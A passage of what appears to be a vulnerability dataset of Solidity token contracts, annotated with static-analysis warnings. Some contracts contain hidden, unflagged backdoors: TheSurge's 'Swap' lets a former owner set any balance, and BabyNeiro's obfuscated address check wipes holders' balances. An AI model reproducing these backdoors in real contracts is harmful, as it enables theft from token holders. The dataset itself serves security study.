"file_name": "solidity_code_10765.sol",
"size_bytes": 7320,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_ethcnlly(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Swap(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract TheSurge is ERC20 {\n uint256 private constant TOAL_SUTSLTYB = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 7862e68): TheSurge.DEAD shadows ERC20.DEAD\n\t// Recommendation for 7862e68: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 66db504): TheSurge.ZERO shadows ERC20.ZERO\n\t// Recommendation for 66db504: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34f0978): TheSurge.maxTxAmoudrsc should be immutable \n\t// Recommendation for 34f0978: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudrsc;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f42d51a): TheSurge.maxwalles_tsbcnse should be immutable \n\t// Recommendation for f42d51a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalles_tsbcnse;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3063b2): TheSurge._burnPermtmestse should be constant \n\t// Recommendation for b3063b2: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPermtmestse = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d09b678): TheSurge.uniswapV2Router should be immutable \n\t// Recommendation for d09b678: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"The Surge\", unicode\"SURGE\", TOAL_SUTSLTYB) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalles_tsbcnse = TOAL_SUTSLTYB / 50;\n\n maxTxAmoudrsc = TOAL_SUTSLTYB / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPermtmestse) / 100;\n\n super._transfer_ethcnlly(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudrsc, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalles_tsbcnse,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10766.sol",
"size_bytes": 18937,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BabyNeiro\", unicode\"BabyNeiro\", 9, 50000000) {}\n}\n",
"file_name": "solidity_code_10767.sol",
"size_bytes": 7300,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract LIAM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d70bb20): LIAM._taxWallet should be immutable \n\t// Recommendation for d70bb20: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0f20f2): LIAM._initialBuyTax should be constant \n\t// Recommendation for d0f20f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: af458a7): LIAM._initialSellTax should be constant \n\t// Recommendation for af458a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfcdcbc): LIAM._finalBuyTax should be constant \n\t// Recommendation for cfcdcbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0185ba7): LIAM._finalSellTax should be constant \n\t// Recommendation for 0185ba7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 651aa5e): LIAM._reduceBuyTaxAt should be constant \n\t// Recommendation for 651aa5e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8698a1a): LIAM._reduceSellTaxAt should be constant \n\t// Recommendation for 8698a1a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54b9349): LIAM._preventSwapBefore should be constant \n\t// Recommendation for 54b9349: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"RIP LIAM\";\n\n string private constant _symbol = unicode\"RIPLIAM\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25262e7): LIAM._taxSwapThreshold should be constant \n\t// Recommendation for 25262e7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64ed564): LIAM._maxTaxSwap should be constant \n\t// Recommendation for 64ed564: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 53d46b5): LIAM.uniswapV2Router should be immutable \n\t// Recommendation for 53d46b5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d920823): LIAM.uniswapV2Pair should be immutable \n\t// Recommendation for d920823: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 842be71): LIAM.sellsPerBlock should be constant \n\t// Recommendation for 842be71: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: b8c14ba): LIAM.buysFirstBlock should be constant \n\t// Recommendation for b8c14ba: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9de4b87): LIAM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9de4b87: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e090303): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e090303: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d989b8b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d989b8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e090303\n\t\t// reentrancy-benign | ID: d989b8b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e090303\n\t\t// reentrancy-benign | ID: d989b8b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING 